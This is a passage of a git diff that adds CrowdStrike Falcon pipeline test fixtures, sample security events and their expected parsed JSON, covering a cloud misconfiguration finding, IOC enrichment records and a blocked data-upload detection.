diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json
new file mode 100644
index 0000000000..44c8c37258
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json
@@ -0,0 +1,76 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2022-09-12T19:08:08.832Z",
+            "cloud": {
+                "account": {
+                    "id": "XXXXXXXXXXXX"
+                },
+                "provider": "AWS",
+                "region": "us-west-2",
+                "service": {
+                    "name": "EC2"
+                }
+            },
+            "crowdstrike": {
+                "event": {
+                    "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
+                    "PolicyId": 26,
+                    "ResourceAttributes": {
+                        "ACL ID": "acl - 005e6 bb98e75ac17e",
+                        "Instance ID": "i - 0108 fce80eXXXXXXX",
+                        "Instance State": "running",
+                        "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00",
+                        "Platform": "Linux",
+                        "VPC ID": "vpc - 0e886040 c27d9f526"
+                    },
+                    "ResourceId": "i-0108fce80eXXXXXXX",
+                    "ResourceIdType": "Instance Id",
+                    "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
+                    "Severity": 1,
+                    "SeverityName": "High",
+                    "Timestamp": 1663009688832
+                },
+                "metadata": {
+                    "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+                    "eventType": "CSPMSearchStreamingEvent",
+                    "offset": 54712611,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "configuration"
+                ],
+                "created": "2022-09-12T19:08:08.832Z",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": [{\n\t\t\t\"Key\": \"cstag-business\",\n\t\t\t\"ValueString\": \"Sales\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-accounting\",\n\t\t\t\"ValueString\": \"dev\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-department\",\n\t\t\t\"ValueString\": \"Sales - 310000\"\n\t\t}, {\n\t\t\t\"Key\": \"Slackbot Env UUID\",\n\t\t\t\"ValueString\": \"C68EC25E-32BD-11ED-AE4B-0EBCA3237C75\"\n\t\t}, {\n\t\t\t\"Key\": \"Name\",\n\t\t\t\"ValueString\": \"CS-SE-Demo-KALI-ROBERT.WILSON\"\n\t\t}, {\n\t\t\t\"Key\": \"Slack_User\",\n\t\t\t\"ValueString\": \"bob.smith\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-owner\",\n\t\t\t\"ValueString\": \"jane.doe\"\n\t\t}],\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}",
+                "outcome": "failure",
+                "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2",
+                "severity": 73,
+                "type": [
+                    "info",
+                    "change"
+                ]
+            },
+            "message": "EC2 NACL configured for global ingress",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "tags": [
+                "preserve_original_event",
+                "cstag-business:Sales",
+                "cstag-accounting:dev",
+                "cstag-department:Sales - 310000",
+                "Slackbot Env UUID:C68EC25E-32BD-11ED-AE4B-0EBCA3237C75",
+                "Name:CS-SE-Demo-KALI-ROBERT.WILSON",
+                "Slack_User:bob.smith",
+                "cstag-owner:jane.doe"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log
new file mode 100644
index 0000000000..7871e26492
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log
@@ -0,0 +1,6 @@
+{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","MD5String":"2f0eaaf91fc7a5c70d1f4be9b18a1cf5","ParentProcessId":"11111111110","ProcessStartTime":1700000000,"FileName":"Notepad.exe","FilePath":"\\Device\\HarddiskVolume3\\Windows\\System32","CommandLine":"\"C:\\Windows\\system32\\Notepad.exe\"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
+{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","DomainName":"acme.corp","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
+{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","IPv4":"203.0.113.5","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
+{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","IPv6":"2001:db8:1234::abcd","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
+{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","SHA256String":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
+{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","MD5String":"e99a18c428cb38d5f260853678922e03","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json
new file mode 100644
index 0000000000..6544d54e91
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json
@@ -0,0 +1,401 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-10-09T08:53:20.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                    "MD5String": "2f0eaaf91fc7a5c70d1f4be9b18a1cf5"
+                },
+                "metadata": {
+                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
+                    "eventType": "CustomerIOCEvent",
+                    "offset": 123456789,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "threat"
+                ],
+                "created": "2025-10-09T08:53:20.000Z",
+                "kind": "enrichment",
+                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"MD5String\":\"2f0eaaf91fc7a5c70d1f4be9b18a1cf5\",\"ParentProcessId\":\"11111111110\",\"ProcessStartTime\":1700000000,\"FileName\":\"Notepad.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\Notepad.exe\\\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
+                "type": [
+                    "indicator"
+                ]
+            },
+            "file": {
+                "name": "Notepad.exe",
+                "path": "\\Device\\HarddiskVolume3\\Windows\\System32"
+            },
+            "host": {
+                "hostname": "DESKTOP-AAAAAAA",
+                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "name": "DESKTOP-AAAAAAA"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\Windows\\system32\\Notepad.exe\""
+                ],
+                "command_line": "\"C:\\Windows\\system32\\Notepad.exe\"",
+                "entity_id": "11111111111",
+                "executable": "\"C:\\Windows\\system32\\Notepad.exe\"",
+                "parent": {
+                    "entity_id": "11111111110"
+                },
+                "start": "2023-11-14T22:13:20.000Z"
+            },
+            "related": {
+                "hash": [
+                    "2f0eaaf91fc7a5c70d1f4be9b18a1cf5"
+                ],
+                "hosts": [
+                    "DESKTOP-AAAAAAA"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "indicator": {
+                    "name": "2f0eaaf91fc7a5c70d1f4be9b18a1cf5",
+                    "type": "file"
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-10-09T08:53:20.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                    "DomainName": "acme.corp"
+                },
+                "metadata": {
+                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
+                    "eventType": "CustomerIOCEvent",
+                    "offset": 123456789,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "threat"
+                ],
+                "created": "2025-10-09T08:53:20.000Z",
+                "kind": "enrichment",
+                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"DomainName\":\"acme.corp\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
+                "type": [
+                    "indicator"
+                ]
+            },
+            "host": {
+                "hostname": "DESKTOP-AAAAAAA",
+                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "name": "DESKTOP-AAAAAAA"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "entity_id": "11111111111"
+            },
+            "related": {
+                "hosts": [
+                    "acme.corp",
+                    "DESKTOP-AAAAAAA"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "indicator": {
+                    "name": "acme.corp",
+                    "type": "domain-name"
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-10-09T08:53:20.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                    "IPv4": "203.0.113.5"
+                },
+                "metadata": {
+                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
+                    "eventType": "CustomerIOCEvent",
+                    "offset": 123456789,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "threat"
+                ],
+                "created": "2025-10-09T08:53:20.000Z",
+                "kind": "enrichment",
+                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"IPv4\":\"203.0.113.5\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
+                "type": [
+                    "indicator"
+                ]
+            },
+            "host": {
+                "hostname": "DESKTOP-AAAAAAA",
+                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "name": "DESKTOP-AAAAAAA"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "entity_id": "11111111111"
+            },
+            "related": {
+                "hosts": [
+                    "DESKTOP-AAAAAAA"
+                ],
+                "ip": [
+                    "203.0.113.5"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "indicator": {
+                    "as": {
+                        "number": 64502,
+                        "organization": {
+                            "name": "Documentation ASN"
+                        }
+                    },
+                    "geo": {
+                        "city_name": "Madrid",
+                        "continent_name": "Europe",
+                        "country_iso_code": "ES",
+                        "country_name": "Spain",
+                        "location": {
+                            "lat": 40.41639,
+                            "lon": -3.7025
+                        },
+                        "region_iso_code": "ES-M",
+                        "region_name": "Madrid"
+                    },
+                    "ip": "203.0.113.5",
+                    "name": "203.0.113.5",
+                    "type": "ipv4-addr"
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-10-09T08:53:20.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                    "IPv6": "2001:db8:1234::abcd"
+                },
+                "metadata": {
+                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
+                    "eventType": "CustomerIOCEvent",
+                    "offset": 123456789,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "threat"
+                ],
+                "created": "2025-10-09T08:53:20.000Z",
+                "kind": "enrichment",
+                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"IPv6\":\"2001:db8:1234::abcd\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
+                "type": [
+                    "indicator"
+                ]
+            },
+            "host": {
+                "hostname": "DESKTOP-AAAAAAA",
+                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "name": "DESKTOP-AAAAAAA"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "entity_id": "11111111111"
+            },
+            "related": {
+                "hosts": [
+                    "DESKTOP-AAAAAAA"
+                ],
+                "ip": [
+                    "2001:db8:1234::abcd"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "indicator": {
+                    "as": {
+                        "number": 65551,
+                        "organization": {
+                            "name": "Documentation ASN"
+                        }
+                    },
+                    "geo": {
+                        "city_name": "Greenwich",
+                        "continent_name": "Europe",
+                        "country_iso_code": "GB",
+                        "country_name": "United Kingdom",
+                        "location": {
+                            "lat": 51.47687,
+                            "lon": -4.1E-4
+                        },
+                        "region_iso_code": "GB-ENG",
+                        "region_name": "England"
+                    },
+                    "ip": "2001:db8:1234::abcd",
+                    "name": "2001:db8:1234::abcd",
+                    "type": "ipv6-addr"
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-10-09T08:53:20.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                    "SHA256String": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
+                },
+                "metadata": {
+                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
+                    "eventType": "CustomerIOCEvent",
+                    "offset": 123456789,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "threat"
+                ],
+                "created": "2025-10-09T08:53:20.000Z",
+                "kind": "enrichment",
+                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"SHA256String\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
+                "type": [
+                    "indicator"
+                ]
+            },
+            "host": {
+                "hostname": "DESKTOP-AAAAAAA",
+                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "name": "DESKTOP-AAAAAAA"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "entity_id": "11111111111"
+            },
+            "related": {
+                "hash": [
+                    "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
+                ],
+                "hosts": [
+                    "DESKTOP-AAAAAAA"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "indicator": {
+                    "name": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
+                    "type": "file"
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-10-09T08:53:20.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                    "MD5String": "e99a18c428cb38d5f260853678922e03"
+                },
+                "metadata": {
+                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
+                    "eventType": "CustomerIOCEvent",
+                    "offset": 123456789,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "threat"
+                ],
+                "created": "2025-10-09T08:53:20.000Z",
+                "kind": "enrichment",
+                "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"MD5String\":\"e99a18c428cb38d5f260853678922e03\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}",
+                "type": [
+                    "indicator"
+                ]
+            },
+            "host": {
+                "hostname": "DESKTOP-AAAAAAA",
+                "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "name": "DESKTOP-AAAAAAA"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "entity_id": "11111111111"
+            },
+            "related": {
+                "hash": [
+                    "e99a18c428cb38d5f260853678922e03"
+                ],
+                "hosts": [
+                    "DESKTOP-AAAAAAA"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "indicator": {
+                    "name": "e99a18c428cb38d5f260853678922e03",
+                    "type": "file"
+                }
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log
new file mode 100644
index 0000000000..7471623ccb
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log
@@ -0,0 +1,2 @@
+{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressSessionId":"abc","SessionStartTimestamp":1761915027,"SessionEndTimestamp":1761915027,"UserMapped":true,"FilesEgressedCount":12}}
+{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressEventId":"180d01b9b65811f0a9f0c0892b3c995e","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"UserNotified":true,"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","IsClipboard":false,"ContentPatterns":[{"ID":"4392b1416c974a488c31fbc4c97e89f6","Name":"Credentials","ConfidenceLevel":3,"MatchCount":1}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","Filename":"sensitive_123.txt","FileType":{"Type":{"ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text","Description":"Plain Text (txt) File","CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document"}},"EventTimestamp":1761915027}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json
new file mode 100644
index 0000000000..c3a5e40937
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json
@@ -0,0 +1,247 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-10-31T07:23:00.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentId": "5d77282ab4fxxxxxxxxxx65784cfa8f0",
+                    "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e",
+                    "Destination": {
+                        "Channel": "web"
+                    },
+                    "DetectionType": "rule-based",
+                    "EgressSessionId": "abc",
+                    "FilesEgressedCount": 12,
+                    "MitreAttack": [
+                        {
+                            "Tactic": "Exfiltration",
+                            "TacticID": "TA0010",
+                            "Technique": "Exfiltration Over Web Service",
+                            "TechniqueID": "T1567"
+                        }
+                    ],
+                    "PatternId": "80005",
+                    "Severity": 90,
+                    "SeverityName": "Critical",
+                    "UserMapped": true
+                },
+                "metadata": {
+                    "customerIDString": "2cc98db1a4xxxxxxxxxxc94d43bfab70",
